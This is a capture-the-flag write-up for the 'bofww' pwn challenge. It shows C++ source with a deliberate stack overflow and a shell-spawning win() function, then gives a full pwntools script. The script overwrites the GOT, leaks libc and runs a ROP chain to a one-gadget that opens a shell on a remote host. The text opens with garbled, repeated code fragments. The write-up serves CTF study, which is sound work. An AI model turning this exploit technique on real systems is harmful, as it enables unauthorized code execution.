> _name; std::cout << "How old are you? "; std::cin >> _age; name = _name; age = _age; } int main() { int age; std::string name; input_person(age, name); std::cout << "Information:" << std::endl << "Age: " << age << std::endl << "Name: " << name << std::endl; return 0; } __attribute__((constructor)) void setup(void) { std::setbuf(stdin, NULL); std::setbuf(stdout, NULL); }"> > _name; std::cout << "How old are you? "; std::cin >> _age; name = _name; age = _age; } int main() { int age; std::string name; input_person(age, name); std::cout << "Information:" << std::endl << "Age: " << age << std::endl << "Name: " << name << std::endl; return 0; } __attribute__((constructor)) void setup(void) { std::setbuf(stdin, NULL); std::setbuf(stdout, NULL); }"> > _name; std::cout << "How old are you? "; std::cin >> _age; name = _name; age = _age; } int main() { int age; std::string name; input_person(age, name); std::cout << "Information:" << std::endl << "Age: " << age << std::endl << "Name: " << name << std::endl; return 0; } __attribute__((constructor)) void setup(void) { std::setbuf(stdin, NULL); std::setbuf(stdout, NULL); }">
#include <iostream>
void win() {
std::system("/bin/sh");
}
void input_person(int& age, std::string& name) {
int _age;
char _name[0x100];
std::cout << "What is your first name? ";
std::cin >> _name;
std::cout << "How old are you? ";
std::cin >> _age;
name = _name;
age = _age;
}
int main() {
int age;
std::string name;
input_person(age, name);
std::cout << "Information:" << std::endl
<< "Age: " << age << std::endl
<< "Name: " << name << std::endl;
return 0;
}
__attribute__((constructor))
void setup(void) {
std::setbuf(stdin, NULL);
std::setbuf(stdout, NULL);
}
There’s win function.
Since there are canaries in this program, simple bof for _name in input_person doesn’t work.
However with the knowledgeless bof stuff, it lets you have some limited controll for rdi, rsi , and rbp and input arbitrary write terminated by null .
So you can just overwrite got for __stack_chk_fail with the address of win function.
then you can reach to flag…
CakeCTF{n0w_try_w1th0ut_w1n_func710n:)}
??
then you will encounter another challenge, solving this without win function .
And you can finally pwn this like below..
from pwn import *
e = ELF("./bofww")
input_person = e.symbols['_Z12input_personRiRNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE']
main = e.symbols['main']
while True:
g = remote("34.170.146.252", 45352)
# Make `__stack_chk_fail` doesn't work.
g.sendlineafter(b"name? ", p64(e.symbols['_init']) + p64(0x0) * 30 + p64(0x404d00) * 4 + p64(e.symbols['_start']) * 3 + p64(0x404050) + p64(0x404f30) + p64(e.symbols['_start']) * 30)
g.sendlineafter(b"you? ", b"1")
# Without this, this script will crash the program. because of the codes between [0x4013b9, 0x4013c6].
g.sendlineafter(b"name? ", p64(0x404d48) + p64(0x0) * 30 + p64(0x404d00) * 4 + p64(e.symbols['_start']) * 3 + p64(0x404d00) + p64(0x404f30) + p64(e.symbols['_start']) * 30)
g.sendlineafter(b"you? ", b"1")
# Make operator= for string doesn't work. To leak memory, I had to exploit part of gadgets from `input_person` function.
# However using that conclude into crash, because the stack is corrupted. To occur ROP with the corrupted `rbp`, we had to disable this function.
# Since we don't know libc_base yet, and we can only input string with terminating null, by change only two bytes from got we can change the function to only `ret`.
# Lastly, jump to address of `input_person + 54` to leak memory and cause ROP.
g.sendlineafter(b"name? ", p64(0x10) + p64(0x0) * 30 + p64(0x404d00 + 0x128) * 4 + p64(input_person + 54) * 3 + p64(0x404058) + p64(0x404030) + p64(input_person + 54) * 30)
g.sendlineafter(b"you? ", b"1")
try:
libc_base = u64(g.recvuntil(b'\\x7f', timeout=0.5)[:6] + b'\\x00\\x00') - 0x458c0
except:
g.close()
continue
oneshot = libc_base + 0xebdaf
# Becuase we changed lower 2 bytes of got, with 1/16 probability, this script will do the trick.
if (libc_base & 0xf000) != 0xb000:
g.close()
continue
print(f'{hex(libc_base)=}')
print(f'{hex(oneshot)=}')
# You know libc_base ! MeChaKuCha ROP Go Go !
g.sendline(b"A" * 0x110 + p64(0x404c00) + p64(oneshot))
g.sendlineafter(b"you? ", b"1")
g.interactive()
break
Running the script gives us the flag again. But we can now happily ignore the message telling us to solve it without the win function